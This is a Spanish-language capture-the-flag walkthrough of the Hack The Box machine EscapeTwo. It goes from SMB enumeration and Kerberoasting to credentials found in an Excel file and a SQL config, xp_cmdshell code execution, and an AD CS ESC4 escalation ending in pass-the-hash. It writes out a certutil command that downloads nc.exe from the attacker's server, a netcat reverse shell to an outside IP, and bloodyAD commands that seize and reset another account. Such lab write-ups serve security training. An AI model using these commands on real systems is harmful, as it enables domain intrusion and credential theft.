EscapeTwo (Easy)
root@SynAckLabs:~# ./show_index.sh
Resumen
Durante la resolución de EscapeTwo, empecé con una enumeración de servicios y validé acceso a SMB con credenciales proporcionadas. Desde SMB encontré un .xlsx que, tras analizarlo, contenía credenciales válidas (incluyendo sa). Con sa accedí a MSSQL y habilité ejecución de comandos para obtener una shell. Desde la máquina, recuperé credenciales de ryan en un fichero de configuración de SQL, pivoté por WinRM y, tras analizar el dominio (BloodHound), identifiqué una ruta de abuso de AD CS. Aproveché permisos sobre plantillas (ESC4) para hacerla explotable, solicité un certificado suplantando a Administrator, obtuve su NT hash y entré con Pass-the-Hash.
Enumeración
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-01-11 10:59:43Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL
| Issuer: commonName=sequel-DC01-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-06-26T11:46:45
| Not valid after: 2124-06-08T17:00:40
| MD5: b55a:a63f:50ba:ed44:f865:820a:5b8e:f493
| SHA-1: a87b:9555:5164:74d3:f73f:bded:72e7:baab:db76:c12a
| -----BEGIN CERTIFICATE-----
| MIIF6TCCBNGgAwIBAgITVAAAAAVjf8S2XKAtZAAAAAAABTANBgkqhkiG9w0BAQsF
| ADBGMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VxdWVs
| MRcwFQYDVQQDEw5zZXF1ZWwtREMwMS1DQTAgFw0yNTA2MjYxMTQ2NDVaGA8yMTI0
| MDYwODE3MDA0MFowADCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN6t
| PbrDaBr7iaqtpFrlC5txEmOlllkSRMtLsld7ZgwcBdmU4UU31oiAciONnCqnuXEg
| EsrgGO3Nufzbu66sgkMqtTd0MyiYb5+wVTqL5FxRXJCyyLnmjdoKdemZ9uqpwVRw
| RXR502G1YGNVtPFffxbU9vvcIe1SaIUvL9QXVkzJuze8a7mlQ964CPER4T9v3Q96
| 3RK8DHm64/EqR1hPMKAuIfHftAX5a67ARnVwBiXn3dItESQJoLliq+hsoXvcDxfA
| iBP0uOgLrKyZrKMNFOsPpFe4GwGxrNmVeigHRF9/IPzXmDJZC1C+ieIBL3J1tzOD
| 0RrwhK5LRVOijIkBsnECAwEAAaOCAxIwggMOMDcGCSsGAQQBgjcVBwQqMCgGICsG
| AQQBgjcVCIOFgESHvJM3hdGJJcLeUoTxqjiBKQEhAgFuAgECMDIGA1UdJQQrMCkG
| CCsGAQUFBwMCBggrBgEFBQcDAQYKKwYBBAGCNxQCAgYHKwYBBQIDBTAOBgNVHQ8B
| Af8EBAMCBaAwQAYJKwYBBAGCNxUKBDMwMTAKBggrBgEFBQcDAjAKBggrBgEFBQcD
| ATAMBgorBgEEAYI3FAICMAkGBysGAQUCAwUwHQYDVR0OBBYEFD3FI2lBcJiy3qh6
| t0wOZkt5ZV4EMB8GA1UdIwQYMBaAFMZBubbkDkfWBlps8YrGlP0a+7jDMIHIBgNV
| HR8EgcAwgb0wgbqggbeggbSGgbFsZGFwOi8vL0NOPXNlcXVlbC1EQzAxLUNBLENO
| PURDMDEsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZp
| Y2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2VxdWVsLERDPWh0Yj9jZXJ0aWZpY2F0
| ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9u
| UG9pbnQwgb8GCCsGAQUFBwEBBIGyMIGvMIGsBggrBgEFBQcwAoaBn2xkYXA6Ly8v
| Q049c2VxdWVsLURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZp
| Y2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2VxdWVsLERDPWh0
| Yj9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1
| dGhvcml0eTAxBgNVHREBAf8EJzAlgg9EQzAxLnNlcXVlbC5odGKCCnNlcXVlbC5o
| dGKCBlNFUVVFTDBNBgkrBgEEAYI3GQIEQDA+oDwGCisGAQQBgjcZAgGgLgQsUy0x
| LTUtMjEtNTQ4NjcwMzk3LTk3MjY4NzQ4NC0zNDk2MzM1MzcwLTEwMDAwDQYJKoZI
| hvcNAQELBQADggEBAILdYpMzCMJ2jrzMqFcZs5zRq1lDJA7Q1W9cZXZpZktTkXdA
| cEkRlcLQN9ZxvydKHdR053nIGNXcVn7CHpK8OU6sleyY0RRm/hktREv53L3tt0i7
| Dks9d14cTKN5+r1aQmeCJo7bRdeeiQcMKDyyKndI4Tn03XWjYS0yOem+2PrrANgs
| 2YWLg6LrslYnHB0xMFup6da7ueNpuRxwekBen20P6v6R3STGascvNVqBNBpNTMRo
| CpokbunsA+8Bqqt3IWX5/Og2wCBL2v/dPiyjSQ3WYOwguyjDF8gQdVMIsW25vUMc
| 3UVUm1yCwc7rr5IEQAkXdTHzbNIHACbCvOotXZM=
|_-----END CERTIFICATE-----
|_ssl-date: 2026-01-11T11:01:13+00:00; -4s from scanner time.
1433/tcp open ms-sql-s syn-ack ttl 127 Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2026-01-11T11:01:13+00:00; -4s from scanner time.
| ms-sql-info:
| 10.129.69.156:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ms-sql-ntlm-info:
| 10.129.69.156:1433:
| Target_Name: SEQUEL
| NetBIOS_Domain_Name: SEQUEL
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: sequel.htb
| DNS_Computer_Name: DC01.sequel.htb
| DNS_Tree_Name: sequel.htb
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-01-11T10:58:38
| Not valid after: 2056-01-11T10:58:38
| MD5: 80d9:a446:754f:deb1:d297:c17c:fa92:c9d0
| SHA-1: 2f7a:4ab9:c724:0b71:6177:1046:04bf:9ec0:538d:0af4
| -----BEGIN CERTIFICATE-----
| MIIDADCCAeigAwIBAgIQIP8Of/2gFJNJo0+BxnvIxjANBgkqhkiG9w0BAQsFADA7
| MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA
| bABsAGIAYQBjAGswIBcNMjYwMTExMTA1ODM4WhgPMjA1NjAxMTExMDU4MzhaMDsx
| OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
| AGwAYgBhAGMAazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALZLb9hM
| xXtQAfV/+O9Ij84F5+CiTZxLMYVHDP62+ZvJGhG7sNDVlH9b0XZQg7Q5n4Uu7bdb
| BEXqOrlY1eUQpx3adXIxEW904rvK9bnSfsptFOa/Qg7RtFrQOx9rV4A7RZMP1SMH
| H/6EFyeB8VShZjzGnHoACxQpIK9HGNHg/HqQ8+O9huiBJgA6P8xgFjP//B77YMS2
| pxv/XAZZHP8Ju9+SpOpCfBb4m8pugIatRJM2No9JUogVXvip90E/rGJY24cLu+Pi
| 7MG99eBJoEcAOPNGBokNu85sNIBla3ibY1ebpWEfpGCyTL0BitFuwadHnotOhVIH
| H6fVTr3nhmqWV60CAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAinsUDlNe2rk07NMn
| 6+zTpKHtE4TqyVAuGCBDrMKU7IOrqG4jGFDZInzk+XLOk44RLqFsegEhGfLRYCvi
| mTs8woPKwvWGNMmeejvcv4MLPiWwXB2XxRCez5Th6opGkjdQ0ST5rmmccpO6F6st
| hpmfIK7YX5s2X0MqarSZ9NL3UKVvsVPhYhsBRuqH0W+eodTo9mzIsvnKVz9/dD5M
| 8KgyW2QPJ1Lso8Vm4pCJNmLt4fWD/6niODCpbV1f+JcGat/r3W9w/7O9Gc2zlwU+
| l6By9y3WYwluHPP3y6t2fKV/lWzUa1InhxO7OkuY9kSBhVVtnJd8BZ6v5gsx2XgX
| MfYJIQ==
|_-----END CERTIFICATE-----
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
47001/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49665/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49689/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49695/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49712/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49728/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49736/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
SMB (con credenciales dadas)
Accedí a SMB usando las credenciales proporcionadas.
Dentro vi dos directorios interesantes: Accounting Department y Users.
Me descargué todos los archivos de esos directorios para analizarlos.
En un primer vistazo no parecía haber nada útil.
Tampoco encontré nada interesante en MSSQL con ese primer enfoque.
Enumeración de usuarios y Kerberoasting
Enumeré usuarios por SMB:
─# nxc smb 10.129.69.156 -u rose -p 'KxEPkKe6R8su' --users
SMB 10.129.69.156 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.129.69.156 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB 10.129.69.156 445 DC01 -Username- -Last PW Set- -BadPW- -Description-
SMB 10.129.69.156 445 DC01 Administrator 2024-06-08 16:32:20 0 Built-in account for administering the computer/domain
SMB 10.129.69.156 445 DC01 Guest 2024-12-25 14:44:53 0 Built-in account for guest access to the computer/domain
SMB 10.129.69.156 445 DC01 krbtgt 2024-06-08 16:40:23 0 Key Distribution Center Service Account
SMB 10.129.69.156 445 DC01 michael 2024-06-08 16:47:37 0
SMB 10.129.69.156 445 DC01 ryan 2024-06-08 16:55:45 0
SMB 10.129.69.156 445 DC01 oscar 2024-06-08 16:56:36 0
SMB 10.129.69.156 445 DC01 sql_svc 2024-06-09 07:58:42 0
SMB 10.129.69.156 445 DC01 rose 2024-12-25 14:44:54 0
SMB 10.129.69.156 445 DC01 ca_svc 2026-01-11 11:07:38 0
SMB 10.129.69.156 445 DC01 [*] Enumerated 9 local users: SEQUEL
Como aparecían dos cuentas de servicio (sql_svc y ca_svc), probé Kerberoasting para pedir SPNs:
┌──(root㉿kali)-[/home/…/Desktop/HTB/EscapeTwo/scan]
└─# impacket-GetUserSPNs -dc-ip 10.129.69.156 sequel.htb/rose
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Password:
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
----------------------- ------- ---------------------------------------------------- -------------------------- -------------------------- ----------
sequel.htb/sql_svc.DC01 sql_svc CN=SQLRUserGroupSQLEXPRESS,CN=Users,DC=sequel,DC=htb 2024-06-09 09:58:42.689521 2026-01-11 11:58:35.361372
sequel.htb/ca_svc.DC01 ca_svc CN=Cert Publishers,CN=Users,DC=sequel,DC=htb 2026-01-11 12:22:29.121764 2024-06-09 19:14:42.333365
Pedí los tickets:
Intenté crackearlos, pero no lo conseguí.
Credenciales dentro del Excel (accounts.xlsx)
Volví a los ficheros del SMB y me fijé en accounts.xlsx:
┌──(kali㉿kali)-[~/Downloads]
└─$ file accounts.xlsx
accounts.xlsx: Zip archive data, made by v2.0, extract using at least v2.0, last modified, last modified Sun, Jun 09 2024 10:47:44, uncompressed size 681, method=deflate
Al ver que era un ZIP, lo descomprimí con unzip y analicé el contenido. Ahí encontré credenciales.
En sharedStrings.xml se veían los valores:
Y al formatearlo con xmllint aparecían las credenciales:
┌──(kali㉿kali)-[~/Downloads/xl]
└─$ xmllint --format sharedStrings.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="25" uniqueCount="24">
<si>
<t xml:space="preserve">First Name</t>
</si>
<si>
<t xml:space="preserve">Last Name</t>
</si>
<si>
<t xml:space="preserve">Email</t>
</si>
<si>
<t xml:space="preserve">Username</t>
</si>
<si>
<t xml:space="preserve">Password</t>
</si>
<si>
<t xml:space="preserve">Angela</t>
</si>
<si>
<t xml:space="preserve">Martin</t>
</si>
<si>
<t xml:space="preserve">angela@sequel.htb</t>
</si>
<si>
<t xml:space="preserve">angela</t>
</si>
<si>
<t xml:space="preserve">0fwz7Q4mSpurIt99</t>
</si>
<si>
<t xml:space="preserve">Oscar</t>
</si>
<si>
<t xml:space="preserve">Martinez</t>
</si>
<si>
<t xml:space="preserve">oscar@sequel.htb</t>
</si>
<si>
<t xml:space="preserve">oscar</t>
</si>
<si>
<t xml:space="preserve">86LxLBMgEWaKUnBG</t>
</si>
<si>
<t xml:space="preserve">Kevin</t>
</si>
<si>
<t xml:space="preserve">Malone</t>
</si>
<si>
<t xml:space="preserve">kevin@sequel.htb</t>
</si>
<si>
<t xml:space="preserve">kevin</t>
</si>
<si>
<t xml:space="preserve">Md9Wlq1E5bZnVDVo</t>
</si>
<si>
<t xml:space="preserve">NULL</t>
</si>
<si>
<t xml:space="preserve">sa@sequel.htb</t>
</si>
<si>
<t xml:space="preserve">sa</t>
</si>
<si>
<t xml:space="preserve">MSSQLP@ssw0rd!</t>
</si>
</sst>
Credenciales extraídas:
angela@sequel.htb:0fwz7Q4mSpurIt99oscar@sequel.htb:86LxLBMgEWaKUnBGkevin@sequel.htb:Md9Wlq1E5bZnVDVosa@sequel.htb:MSSQLP@ssw0rd!
Validé credenciales de Oscar:
Y también las de sa (administrador del servicio MSSQL):
Acceso a MSSQL y ejecución de comandos
Me conecté a MSSQL con impacket-mssqlclient:
impacket-mssqlclient sequel.htb/'sa:MSSQLP@ssw0rd!'@10.129.69.156
Habilité xp_cmdshell para poder ejecutar comandos:
Pasé un nc.exe para lanzar una reverse shell.
Servidor HTTP en mi máquina:
┌──(kali㉿kali)-[/usr/share/windows-resources/binaries]
└─$ python3 -m http.server 4000
Serving HTTP on 0.0.0.0 port 4000 (http://0.0.0.0:4000/) ...
10.129.69.156 - - [11/Jan/2026 13:01:10] "GET /nc.exe HTTP/1.1" 200 -
10.129.69.156 - - [11/Jan/2026 13:01:11] "GET /nc.exe HTTP/1.1" 200 -
---------------------------------------------------
---------------------------------------------------
---------------------------------------------------
---------------------------------------------------
SQL (sa dbo@master)> EXEC xp_cmdshell 'certutil -urlcache -split -f http://10.10.15.44:4000/nc.exe C:\Users\sql_svc\Desktop\nc64.exe';
output
CertUtil: -URLCache command completed successfully.
NULL
Ejecuté enable_xp_cmdshell y luego lancé la shell:
SQL (sa dbo@master)> enable_xp_cmdshell
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (sa dbo@master)> EXEC xp_cmdshell 'C:\Users\sql_svc\Desktop\nc64.exe 10.10.15.44 4444 -e powershell'
Shell recibida:
Dentro de la máquina vi que la flag no estaba en el directorio de sql_svc, y que había otro usuario llamado ryan, así que necesitaba pivotar.
Búsqueda de credenciales en la máquina (pivot a ryan)
Busqué ficheros que contuvieran credenciales. En la ruta de instalación de SQL encontré un fichero de configuración con passwords:
PS C:\> dir
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/5/2022 12:03 PM PerfLogs
d-r--- 1/4/2025 7:11 AM Program Files
d----- 6/9/2024 8:37 AM Program Files (x86)
d----- 6/8/2024 3:07 PM SQL2019
d-r--- 6/9/2024 6:42 AM Users
d----- 1/4/2025 8:10 AM Windows
PS C:\> cd SQL2019
PS C:\SQL2019> dir
Directory: C:\SQL2019
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/3/2025 7:29 AM ExpressAdv_ENU
PS C:\SQL2019> cd ExpressAdv_ENU
PS C:\SQL2019\ExpressAdv_ENU> dir
Directory: C:\SQL2019\ExpressAdv_ENU
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/8/2024 3:07 PM 1033_ENU_LP
d----- 6/8/2024 3:07 PM redist
d----- 6/8/2024 3:07 PM resources
d----- 6/8/2024 3:07 PM x64
-a---- 9/24/2019 10:03 PM 45 AUTORUN.INF
-a---- 9/24/2019 10:03 PM 788 MEDIAINFO.XML
-a---- 6/8/2024 3:07 PM 16 PackageId.dat
-a---- 9/24/2019 10:03 PM 142944 SETUP.EXE
-a---- 9/24/2019 10:03 PM 486 SETUP.EXE.CONFIG
-a---- 6/8/2024 3:07 PM 717 sql-Configuration.INI
-a---- 9/24/2019 10:03 PM 249448 SQLSETUPBOOTSTRAPPER.DLL
PS C:\SQL2019\ExpressAdv_ENU> type sql-Configuration.INI
[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL=""0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False"
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SECURITYMODE="SQL"
SAPWD="MSSQLP@ssw0rd!"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True
PS C:\SQL2019\ExpressAdv_ENU>
Con esa contraseña validé credenciales y confirmé acceso como ryan:
Comprobé el usuario ryan:
PS C:\SQL2019\ExpressAdv_ENU> net user ryan
User name ryan
Full Name Ryan Howard
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 6/8/2024 8:55:45 AM
Password expires Never
Password changeable 6/9/2024 8:55:45 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 6/9/2024 9:16:26 AM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *Management Department*Domain Users
The command completed successfully.
Como estaba en Remote Management Use, pude usar WinRM:
BloodHound y ruta hacia AD CS
Levanté BloodHound:
/home/kali/bloodhound-cli containers start
Encontré una posible escalada (ESC1) relacionada con abuso de certificados, ya que podía llegar al grupo Cert Publishers:
Para automatizar el proceso de DACL Abuse, utilicé bloodyAD.
El permiso WriteOwner me permite cambiar el owner del objeto. Una vez soy owner, ya puedo modificar la DACL y darme permisos (por ejemplo, GenericAll).
Cambiar owner:
bloodyAD -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' --host DC01.sequel.htb set owner 'CA_SVC' 'RYAN'
Dar GenericAll:
bloodyAD -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' --host DC01.sequel.htb add genericAll 'CA_SVC' 'RYAN'
Cambiar contraseña (ya con control):
bloodyAD -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' --host DC01.sequel.htb set password 'CA_SVC' 'NewP@ssword2026!'
Resultado:
AD-CS
Busqué vulnerabilidades en plantillas con certipy-ad:
Interpretación: ESC4 implica que tengo permisos para editar la plantilla y hacerla vulnerable. Con el comando correspondiente modifiqué la template para que quedase explotable.
Volví a ejecutar el análisis y ya aparecía como vulnerable:
Después exploté solicitando un certificado suplantando a Administrator:
Con eso obtuve el NT hash del Admin:
Finalmente, hice Pass-the-Hash para acceder como Administrator:
